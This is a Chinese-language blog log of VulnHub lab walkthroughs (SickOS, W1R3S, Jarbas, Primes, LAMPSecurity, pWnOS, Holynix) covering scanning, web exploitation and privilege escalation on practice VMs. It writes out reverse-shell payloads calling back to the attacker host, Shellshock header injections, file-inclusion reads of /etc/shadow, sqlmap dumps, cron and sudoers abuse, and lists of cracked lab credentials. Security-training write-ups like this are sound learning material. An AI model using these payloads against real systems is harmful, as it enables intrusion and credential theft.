vulnhub打靶记录
此文诞生于本人实习期间,属于是摸鱼成果,虽然但是也没打几个靶场,毕竟哪有这么爽的鱼可以摸
只能说vulnhub这边的靶场比较偏向教育性质,适合新手,可能进阶的那些我还没接触()
在某次训练营中,被主办方设计的比较贴近实际的仿真靶场给虐到了,后续应该会投向与HTB等靶场平台继续学习了……
nmap命令参数介绍
待补充
SickOS1.1
网络适配器设置成NAT模式
这里靶机需要登陆
主机发现和端口扫描
ip a获取kali本机的ip,然后扫描该网段的主机存活信息nmap -sn 192.168.32.0/24
靶机上线前后各扫一次就可以找到靶机ip了
最小速率10000扫描,-p-扫描全部端口nmap --min-rate 10000 -p- 192.168.32.129
发现22端口的ssh服务开放,3128端口的squid-http服务开放,8080端口的http服务关闭tcp再扫一下这三个端口,-sT用TCP扫描,-sV查看服务版本,-O查看操作系统版本,-p后面添加端口号
UDP再扫一次,确保不会漏掉攻击面nmap -sU -p22,3128,8080 192.168.32.129
还是没有关键信息
再用nmap自带的漏洞扫描脚本扫一下nmap --script=vuln -p22,3128,8080 192.168.32.129
一样没有关键信息
目前得到的信息是,无法访问的8080的端口web服务,3128端口的http代理服务,22端口的ssh服务这边暂时不知道用户名密码也无法入手
也不知道squid是个什么玩意,访问对应端口,然后搜squid/3.1.19,只知道是一个比较老的开源代理服务器,还涉及到几个CVE
目录扫描
dirb http://192.168.32.129 -p http://192.168.32.129:3128
web渗透
同样需要设置代理才能访问靶机(可以直接搜proxy)
robots.txt告诉我们可以访问一下/wolfcms
这是一个cms内容管理系统,并且发现文章是管理员上传的,找一下admin登陆路径
/wolfcms/?/admin/login,弱口令admin/admin进去了
反弹shell提权
发现很多php代码文件并且可以直接修改,直接塞一句反弹shell进去<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.32.128/2333 0>&1'"); ?>
然后保存访问一下,靶机就可以连上我们主机了kali开监听2333端口

这里拿到的是mysql的账密,看一下/etc/passwd
发现账户有root sickos www-data,并且root sickos都有/bin/bash的环境,sickos可能是一个高权限用户,尝试了ssh登陆
发现sickos/john@123可以登陆,知道密码我们可以直接提权sudo su
nikto扫描
思路二:
既然涉及到网页服务,也可以拿nikto扫一下nikto是一个开源的网页服务器扫描器,坏处就是它不经常更新
这里还是要走一下代理nikto -h 192.168.32.129 -useproxy http://192.168.32.129:3128
发现在/cgi-bin/status目录下存在ShellShock漏洞
Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统
shellshock漏洞利用
这里可以通过构造恶意的Referer头来执行任意命令
curl -v --proxy http://192.168.32.129:3128 http://192.168.32.129/cgi-bin/status -H "Referer:() { test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit"
发现成功执行了
可以反弹shell看看有没有可利用的信息
生成bash反弹shell命令msfvenom -p cmd/unix/reverse_bash lhost=192.168.32.128 lport=2333 -f raw
curl -v --proxy http://192.168.32.129:3128 http://192.168.32.129/cgi-bin/status -H "Referer:() { test;}; 0<&113-;exec 113<>/dev/tcp/192.168.32.128/2333;/bin/sh <&113 >&113 2>&113"
kali开监听nc lvnp 2333
发现交互很难看,通过包管理器看看有没有Python之类方便的交互shelldpkg -l
python -c "import pty;pty.spawn('/bin/bash')"
查看网页的根目录cd /var/www
查看权限ls -al
发现connect.py居然给到了777,即所有用户都可读可写可执行
这里可以根据内容猜测它存在定时任务
定时任务提权
cd /etcls -al | grep "cron"cd cron.dcat automate
发现它是以root权限每分钟执行connect.py这个文件,这样就可以通过写Python的反弹shell命令到connect.py这个文件,就可以成功root了
msfvenom -p cmd/unix/reverse_python lhost=192.168.32.128 lport=2333 -f raw
然后kali开监听,等一分钟左右即可
总结
账密默认配置可能是个突破口,但现在的环境基本无法利用;定时任务也是一个很有用的提权思路
W1R3S1.01
主机发现和端口扫描
是一个ubuntu16的靶机,同样需要密码登陆
nmap -sn 192.168.32.0/24
发现主机192.168.32.130nmap --min-rate 10000 -p- 192.168.32.130
发现21端口ftp文件传输服务,22端口ssh服务,80端口http服务,3306端口mysql服务
发现了wordpress登陆网页
ftp服务没有什么可以利用的信息,可以通过get下载文件
wordpress登陆页面的操作都是在跳转localhost,不能进行爆密码操作。。。
目录扫描
换dirsearch扫一下,kali的dirb没有高亮,不习惯,python ./dirsearch.py -u 192.168.32.130
http://192.168.32.130/administrator/installation/得知这是一个Cuppa CMS,这里的操作页面是没有什么用的,找一下CMS的漏洞
web渗透
searchsploit cuppa,告诉我们/alertConfigField.php存在本地/远程文件包含
获取说明searchsploit cuppa -m 25971.txt
这里需要修改一下路径http://192.168.32.130/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
但页面并没有回显,换成POST请求或者curlcurl -X POST -d "urlConfig=../../../../../../../../../etc/passwd" http://192.168.32.130/administrator/alerts/alertConfigField.php
读一下影子文件/etc/shadow,因为passwd里面的密码只能显示x
拿到root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0:17554:0:99999:7:::
www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7:::
w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::
这里就拿到了三个用户的密码哈希
密码爆破
拿john爆一下
有密码就直接提权了
总结
本靶机找到cuppa的漏洞即可,要注意这些不怎么明显的信息
jarbas
主机发现与端口扫描
这是个centos7的靶机nmap -sn 192.168.32.0/24
发现主机192.168.32.131nmap --min-rate 10000 -p- 102.168.32.131
发现开放了22 80 3306TCP UDP扫,nmap自带脚本扫,没有得到有用信息
目录扫描
dirb http://192.168.32.131,诶,没扫到东西出来,指定后缀dirb http://192.168.32.131 -X .php,.html,扫出一个access.htmltiago:5978a63b4654c73c60fa24f836386d87
trindade:f463f63616cb3f1e81ce46b39f882fd5
eder:9b38e2b1e8b12f426b0d208a7ab6cb98
多行哈希解密italia99 vipsu marianna
web渗透
重启了靶机才扫出8080端口,我就说登陆界面怎么不见了。。。
账密对不上,得试试排列组合eder vipsu
登进去后,随便点击创建项目,居然发现了这个
bash -i >& /dev/tcp/192.168.32.128/2333 0>&1写入保存然后点击立即构建,本地开监听whoami得知当前用户为jenkins,读/etc/passwd只有root eder有/bin/bash环境,但读取不到/etc/shadow
接下来继续找找有没有定时任务可以利用
定时任务提权
查看系统定时任务cat /etc/crontab
发现root权限运行的定时任务,该sh脚本是用来删日志文件的
看一下权限是777,那我们直接追加写入反弹shell语句就好了echo 'bash -i >& /dev/tcp/192.168.32.128/233 0>&1' >> /etc/script/CleaningScript.shkali监听233端口
这里是五分钟执行一次定时任务,等一等就好了
总结
还是定时任务提权,主要原因是因为该执行脚本权限给的太高了
primes
哦豁,这是一台用于OSCP考试的靶机
主机发现与端口扫描
nmap -sn 192.168.32.0/24nmap --min-rate 10000 -p- 192.168.32.132
这次只发现了22和80端口TCP UDP自带的vuln扫描脚本扫一遍都没发现什么东西,知道了是wordpress cms
目录扫描
dirb http://192.168.32.132
扫出了/dev /wordpress/wp-admin等一堆路径,依然是需要登陆,但/dev告诉了我们要深挖,因此先不要爆破密码了(试了一手弱口令没成功)
继续扫dirb http://192.168.32.132 -X .zip,.txt,.php/image.php /index.php /secret.txt
/secret.txt告诉我们需要在php页面上做更多fuzz,找到正确的参数,还给了工具链接wfuzz,kali自带有,并且给了下一步的提示location.txt
web渗透
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 ``http://192.168.32.132/index.php?FUZZ=
得到file参数,结合提示访问/index.php?file=location.txt
给了/image.php页面的参数secrettier360
发现能任意文件读取而且读不到的不会返回任何信息
找到三个有/bin/bash环境的用户root victor guest-w3z5e1
shadow文件读不到
还放了一句saket:x:1001:1001:find password.txt file in my directory:/home/saket:
读/home/saket/password.txt得到follow_the_ippsecssh试过一遍,不对,那就登陆wordpress,发现也不是
再访问/wordpress看看,发现博客作者是victor,试一下是不是他的密码/wordpress/wp-login.php
成功进入后台
找到一个留给我们的可以执行php代码的文件http://192.168.32.132/wordpress/wp-admin/theme-editor.php?file=secret.php&theme=twentynineteen
其他位置都不可写
写入shell
exec("bash -c 'bash -i >& /dev/tcp/192.168.32.128/2333 0>&1'");
保存后需要访问该文件的路径才能建立连接
小查一手http://192.168.32.132/wordpress/wp-content/themes/twentynineteen/secret.php
查看当前权限sudo -l
/home/saket/enc发现无权限
定时任务这边,在/root/t.sh这样就没有办法下手了
内核漏洞提权
uname -a看到Linux版本很低Linux ubuntu 4.10.0-28-generic #32~16.04.2-Ubuntu
searchsploit Linux ubuntu 4.10.0-28
这里有一个提权漏洞searchsploit -m 45010.c
查看使用方法,发现需要gcc编译,那么我们让靶机wget下载下来即可kali开web服务,php -S 0:80
靶机在/tmp目录下(这里有权限)执行,wget http://192.168.32.128/45010.cgcc编译,gcc 45010.c -o getshell,执行然后提权./getshell
dpkg -l | grep "python"python -c "import pty;pty.spawn('/bin/bash')"cat /root/root.txt
OpenSSL解密
思路二:
这里从拿到www-data权限开始,python -c "import pty;pty.spawn('/bin/bash')" sudo -lUser www-data may run the following commands on ubuntu:
(root) NOPASSWD: /home/saket/enc
说明当前用户能够以无密码root权限运行enc,但是还是需要密码,找找看
而且密码这种东西可能存在备份,find / -name "*backup*" 2>dev/null
/var/backups的passwd.bak shadow.bak没有权限
cat /opt/backup/server_database/backup_pass得到backup_password
./enc告诉我good。。。
但是多了两个东西/bin/cp: cannot stat '/root/enc.txt': Permission denied
/bin/cp: cannot stat '/root/key.txt': Permission denied
奥,命令不对sudo ./enc
但是这也让我提前注意到了这两个文件,就在/home/saket目录下面
nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4= |
I know you are the fan of ippsec. |
将ippsec进行MD5加密并以16进制输出echo -n 'ippsec' | md5sum | awk -F ' ' '{print $1;}' | tr -d '\n' | od -A n -t x1| tr -d '\n' | tr -d ' '
openssl -h,把enc的算法写入到CipherTypeRawvim CipherTypeRaw
换行分割解密算法,awk '{gsub(" ","\n");print}' CipherTypeRaw | sort | uniq > CipherTypes
解密算法遍历输出,for cipher in $(cat CipherTypes); do echo "nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=" | openssl enc -d -a -$cipher -K 3336366137346362336339353964653137643631646233303539316333396431 2>/dev/null;echo $cipher;done
Dont worry saket one day we will reach to |
得到saket/tribute_to_ippsec,ssh saket@192.168.32.132 sudo -lUser saket may run the following commands on ubuntu:
(root) NOPASSWD: /home/victor/undefeated_victor
sudo /bin/bash得到Sorry, user saket is not allowed to execute '/bin/bash' as root on ubuntu.
尝试sudo /home/victor/undefeated_victor,得到if you can defeat me then challenge me in front of you
/home/victor/undefeated_victor: 2: /home/victor/undefeated_victor: /tmp/challenge: not found
给/tmp/challenge赋予/bin/bash的可执行环境,即可root权限执行,成功rootecho '#!/bin/bash' > /tmp/challenge
echo '/bin/bash' >> /tmp/challenge
chmod +x /tmp/challenge
sudo /home/victor/undefeated_victor
cat /root/root.txt
总结
感觉低版本内核漏洞还是太少见了,不过OpenSSL解密也是一种新奇的思路
LAMPSecurity: CTF4
主机发现与端口扫描
192.168.32.133PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
631/tcp closed ippTCP UDP扫都没什么东西nmap自带漏洞脚本,扫出了CSRF、SQL注入漏洞
web渗透
看了一些登陆页面和/robots.txt的路径,小爆了账密一下,没有用,/mail,SquirreMail1.4.17,存在远程代码执行漏洞,但找不到有用的相关参考,然后博客文章,试了一下,发现用的是mysqlhttp://192.168.32.133/index.html?page=blog&title=Blog&id=5
sqlmap直接爆数据库sqlmap -u 'http://192.168.32.133/index.html?page=blog&title=Blog&id=5' --dbs --dump --batchDatabase: ehks
Table: user
[6 entries]
+---------+-----------+--------------------------------------------------+
| user_id | user_name | user_pass |
+---------+-----------+--------------------------------------------------+
| 1 | dstevens | 02e823a15a392b5aa4ff4ccb9060fa68 (ilike2surf) |
| 2 | achen | b46265f1e7faa3beab09db5c28739380 (seventysixers) |
| 3 | pmoore | 8f4743c04ed8e5f39166a81f26319bb5 (Homesite) |
| 4 | jdurbin | 7c7bc9f465d86b8164686ebb5151a717 (Sue1978) |
| 5 | sorzek | 64d1f88b9b276aece4b0edcc25b7a434 (pacman) |
| 6 | ghighland | 9f3eb3087298ff21843cc4e013cf355f (undone1) |
+---------+-----------+--------------------------------------------------+
尝试ssh登陆,Kali这边有问题,windows这边成功了ssh -oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 -oHostKeyAlgorithms=ssh-rsa,ssh-dss dstevens@192.168.32.133 -o macs=hmac-sha1-96
有密码,sudo su或者sudo /bin/bash,新启动一个新的bash线程命令,成功root,后续发现只有数据库里面的前两个用户可以root
总结
成脚本小子了()
LAMPSecurity: CTF5
主机发现与端口扫描
192.168.32.134PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
110/tcp open pop3
111/tcp open rpcbind
139/tcp open netbios-ssn
143/tcp open imap
445/tcp open microsoft-ds
901/tcp open samba-swat
3306/tcp open mysql
54651/tcp open unknown
用nmap自带的漏洞脚本扫一下,嘶,跟上个靶机的情况一样
web渗透
访问web服务,发现Blog登陆里面的NanoCMS,小爆一手admin,没有
既然是cms,那找找洞searchsploit nanocms
NanoCMS v0.4 - Remote Code Execution (RCE) (Authenticated)
远程代码执行,但需要登陆认证
继续搜索(nanocms exploit,搜漏洞的话,全是这个靶场的wp),找到了NanoCMS '/data/pagesdata.txt' Password Hash Information Disclosure Vulnerability
s:8:"username";s:5:"admin";s:8:"password";s:32:"9d2f75377ac0ab991d40c91fd27e52fd";
somd5查一手,得到shannon
提权
随便找个可以编辑代码的地方,插进去(因为这里就是个php文件)<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.32.128/2333 0>&1'"); ?>
然后访问
cat /etc/passwd,看见了很多有/bin/bash环境的用户,但没有密码,也看不了shadow文件
注意隐藏目录ls -al,/home目录下,patrick目录发现了tomboy桌面笔记软件,看看历史.tomboy.log12/5/2012 7:25:03 AM [DEBUG]: Saving 'Root password'...
或者直接搜pass字符串(这也是个找关键字符串的好东西啊),grep -R -i pass /home/* 2>/dev/null
cat /home/patrick/.tomboy/481bca0d-7206-45dd-a459-a72ea1131329.note
得到50$cent
可交互shell,python -c 'import pty; pty.spawn("/bin/bash")'
切换root用户,su root
总结
多翻翻用户的日志?看用户整了点什么操作
LAMPSecurity: CTF7
主机发现与端口扫描
emmm,重启了好几次都扫不到,参考修改配置文件
后面才发现原来打开靶机的时候要选择我已移动该虚拟机
192.168.32.135PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
137/tcp closed netbios-ns
138/tcp closed netbios-dgm
139/tcp open netbios-ssn
901/tcp open samba-swat
5900/tcp closed vnc
8080/tcp open http-proxy
10000/tcp open snet-sensor-mgmt
都扫了一遍,没什么东西
web渗透
80端口这边,貌似只有注册用户,连登陆界面都没有看见,SQL注入也试了一下,不行
8080端口上来就是登陆,然后抓包想爆一下,发现了这东西
<!--select * from users where username='admin' AND password=md5('admin123') and is_admin=1-->
这里就很舒服了,直接单引号闭合,万能密码登陆,' or 1=1 #,密码随便
http://192.168.32.135:8080/readings.php,找个编辑框写入反弹shell,<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.32.128/2333 0>&1'"); ?>
There was a problem uploading to /var/www/html/assets/
发现他们下载的文件都在/var/www/html/assets/,但我们代码是无法被执行的
并且这个目录下的内容是可访问的,我们可以直接把反弹shell语句写入到文件,然后上传(其他两个位置是无法上传文件的)
http://192.168.32.135/assets/访问该文件即可
提权
python -c "import pty;pty.spawn('/bin/bash')"获取交互shell
sudo -l 查看权限,没密码cat /etc/passwdcat /etc/shadow,没权限
回到web目录,回退,/var/www/admin,然后在/var/www/admin/inc/db.php发现数据库密码为空mysql -u root -p
直接就登进来了show databases;
use website;
show tables;
select * from users;
复制账号密码,然后保存利用命令行导出密码哈希cat up | awk -F ' ' {'print $4'} > password.txt
先解压rockyou字典,sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
hashcat -a 0 -m 0 password.txt /usr/share/wordlists/rockyou.txt
以前想用hashcat爆,发现都是没内存?然后这次参考修改,换成单核(1*4,之前2*2),内存拉到4g(以前2g)
把爆破结果复制保存,然后继续分割cat pass.txt | awk -F ':' {'print $2'} > password
用户名也搞一手cat up | awk -F ' ' {'print $2'} | awk -F '@' {'print $1'} > username
密码喷射脚本登陆ssh
apt-get install crackmapexec
crackmapexec ssh 192.168.32.135 -u username -p password --continue-on-success
brian:my2cents |
ssh -oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 -oHostKeyAlgorithms=ssh-rsa,ssh-dss brian@192.168.32.135 -o macs=hmac-sha1-96
有密码直接root就好了
总结
- 数据库中肯定会记录一些关键信息,看看有没有办法获取
- 批量ssh登陆,
crackmapexec是个好东西
pWnOS2.0
主机发现与端口扫描
需要先将vmware的子网设成10.10.10.0nmap -sn 10.10.10.0/24
这个靶机固定ip为10.10.10.100
只扫出了22、80端口,vuln脚本扫描可以发现是一个博客系统
目录扫描
没什么关键信息,从/blog入手
web渗透
开始一顿乱点,万能密码还能登陆,但没鸟用
但这里还可以sql注入,抓登陆包保存,然后sqlmap -r packet.txt --dbs
sqlmap -r packet.txt -D ch16 --tables
sqlmap -r packet.txt -D ch16 -T users --columns
sqlmap -r packet.txt -D ch16 -T users -C first_name,last_name,pass --dump
可惜kali这边没爆出来但是拿到了密码哈希,可以在线网站解,但后面发现根本没用
/blog/rss.php,发现SPHPBLOG 0.4.0,index.php显示的是Simple PHP Blog 0.4.0,那就是一个博客cms喽,也可以用whatweb识别一下whatweb http://10.10.10.100/blog/
searchsploit Simple PHP Blog 0.4.0searchsploit Simple PHP Blog 0.4.0 -m 1191.plperl脚本,安装依赖apt install libswitch-perl
perl 1191.pl看看怎么个用法perl 1191.pl -h http://10.10.10.100/blog -e 3 -U HvAng -P HvAng
1和2都没利用到,2的哈希一看就是加盐了,破解不了
登陆后,new blog可写入shell语句但貌似无法访问
找到一个上传图像的页面/blog/upload_img.php,<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/2333 0>&1'");?>
上传shell.php之后拿不到路径,那就大胆猜测一手/blog/images
发现上面1的cmd.php也在这http://10.10.10.100/blog/images/cmd.php?cmd=,不过还是终端好用
提权
dpkg -l | grep pythonpython -c "import pty;pty.spawn('/bin/bash')"
翻了一下/etc/passwd /etc/shadow /etc/crontab,找到了用户Dan有/bin/bash环境,然后继续找找数据库,找到数据库配置文件cat /var/www/mysqli_connect.phpmysql -u root -p,密码goodday,居然不对
再找一下,find / -name 'mysqli_connect.php' 2>/dev/null,得到/var/mysqli_connect.php
密码为root@ISIntS
show databases; |
得到Dan的密码哈希c2c4b4e51d9e23c02c15702c136c3e950ba9a4af,在线网站得到killerbeesareflying
丢,密码不对
尝试直接root,ssh root@10.10.10.100,密码root@ISIntS,阿西吧
总结
还是要注意数据库敏感信息
pWnOS1.0
主机发现与端口扫描
现在学聪明了,都选择我已移动虚拟机192.168.32.128,我的kali到129了
PORT STATE SERVICE |
好像没什么信息了
web渗透
对参数进行修改,触发报错http://192.168.32.128/index1.php?help=true&connect=,Warning: include()可知此处可以进行文件包含
root:x:0:0:root:/root:/bin/bash |
访问扫描的目录,http://192.168.32.128/php/phpMyAdmin/
发现phpMyAdmin 2.6.3-pl1,没密码,先放一边
那就只有10000端口可以访问了,是webmin的登陆界面,找默认账密,登不上去
searchsploit webminWebmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure | multiple/remote/1997.php
Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure | multiple/remote/2017.pl
有任意文件读取漏洞,正好我们读不到shadow文件,我们可以试试看searchsploit webmin -m 2017.plperl 2017.pl -hperl 2017.pl 192.168.32.128 10000 /etc/shadow 0vmware:$1$7nwi9F/D$AkdCcO2UfsCOM0IC8BYBb/:14042:0:99999:7:::
obama:$1$hvDHcCfx$pj78hUduionhij9q9JrtA0:14041:0:99999:7:::
osama:$1$Kqiv9qBp$eJg2uGCrOHoXGq0h5ehwe.:14041:0:99999:7:::
yomama:$1$tI4FJ.kP$wgDmweY9SAzJZYqW76oDA.:14041:0:99999:7:::
上面内容保存为hash文件john hash --wordlist=/usr/share/wordlists/rockyou.txt
得到vmware/h4ckm3
ssh -oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 -oHostKeyAlgorithms=ssh-rsa,ssh-dss vmware@192.168.32.128 -o macs=hmac-sha1-96
提权
这台机子跑不了sudo,看了下定时任务,貌似没思路
然后,前面读取的shadow文件,肯定是以root的权限读取的,那么我们通过靶机执行我们的反弹shell脚本就可以root了
cp /usr/share/webshells/perl/perl-reverse-shell.pl shell.cgi并且vim修改ip和端口
kali开启web服务php -S 0:80
靶机下载wget http://192.168.32.129/shell.cgi,并添加执行权限,chmod +x shell.cgi
perl 2017.pl 192.168.32.128 10000 /home/vmware/shell.cgi 0kali开启监听
这里必须使用cgi后缀的原因貌似是,靶机的作者对apache中间件做了解析后缀的限制,但是没有限制cgi文件,其他的php、pl文件都无法执行
思路二
还是根据上面的任意文件读取漏洞来的,因为我们可能未必能读到shadow文件,权限不够
ssh敏感文件Authorized_keys获取
根据参考文章:OpenSSL 0.9.8e这个版本的OpenSSL可以根据公钥找到私钥,实现免密登陆(可是你没登陆靶机怎么知道哪个版本呢?)
perl 2017.pl 192.168.32.128 10000 /home/vmware/.ssh/authorized_keys 0
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzASM/LKs+FLB7zfmy14qQJUrsQsEOo9FNkoilHAgvQuiE5Wy9DwYVfLrkkcDB2uubtMzGw9hl3smD/OwUyXc/lNED7MNLS8JvehZbMJv1GkkMHvv1Vfcs6FVnBIfPBz0OqFrEGf+a4JEc/eF2R6nIJDIgnjBVeNcQaIM3NOr1rYPzgDwAH/yWoKfzNv5zeMUkMZ7OVC54AovoSujQC/VRdKzGRhhLQmyFVMH9v19UrLgJB6otLcr3d8/uAB2ypTw+LmuIPe9zqrMwxskdfY4Sth2rl6D3bq6Fwca+pYh++phOyKeDPYkBi3hx6R3b3ETZlNCLJjG7+t7kwFdF02Iuw== vmware@ubuntuvm |
这个版本的OpenSSH用了伪随机数获取密钥,我们可以用伪随机数生成器PRG(pseudo random number generator)进行私钥的破解
searchsploit prng |
ssh -i private_key -oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 -oHostKeyAlgorithms=ssh-rsa,ssh-dss -oPubkeyAcceptedKeyTypes=ssh-rsa,ssh-dss vmware@192.168.32.128 -o macs=hmac-sha1-96
难绷,windows这边也登不上去了,还是需要密码,kali直接command-line line 0: Bad key types 'ssh-rsa,ssh-dss'.,不会整了,蒜鸟蒜鸟
所以,这一步正常的话是可以通过私钥文件,免密登陆的
shellshock漏洞提权
bash --version,GNU bash, version 3.2.25(1)-release (i486-pc-linux-gnu),远低于4.3版本,我们可以用shellshock漏洞提权
vim shellshockexp.cgi,写入#!/bin/bash
curl 'http://192.168.32.128:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/home/vmware/shellshockexp.cgi' -A '() { :; }; /bin/echo "vmware ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers'
好吧,这一步也不行,成功的情况只返回一行?<h1>Error - Missing Content-Type Header</h1>
<pre>Failed to exec /usr/local/webmin/mscstyle3/unauthenticated/../../../../../../../../../../../../../../home/vmware/shellshockexp.cgi : Permission denied
</pre>
正常来说,sudo /bin/bash即可提权成功了
同样的,Linux内核版本也较低,可以尝试内核提权,找好exp即可Linux ubuntuvm 2.6.22-14-server
总结
需要关注一些特殊文件的读取权限,看看能否成为突破口;还有就是关注低版本服务的漏洞
holynix(未完成)
主机发现与端口扫描
nmap -sn 192.168.32.0/24192.168.32.130nmap --min-rate 10000 -p- 192.168.32.130
只扫出了80端口
扫描脚本也没什么东西,SQL注入这些
web渗透
一进去是个登陆界面,不是市面上的cms
一开始在用户名处试万能密码,没反应,那就看看报错位置,账密都输入单引号,然后报错了SQL Error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
SQL Statement:SELECT * FROM accounts WHERE username='\'' AND password='''
原来用户名这里被转义了
xx/' or 1=1#
发现上传,但没权限Home directory uploading disabled for user alamoSecurity这里可以文件读取,但get看不见请求,尝试posthttp://192.168.32.130/index.php?page=ssp.php
请求体B=Display+File&text_file_name=ssp%2Femail.txttext_file_name可以实现文件读取
(可能不更新了)……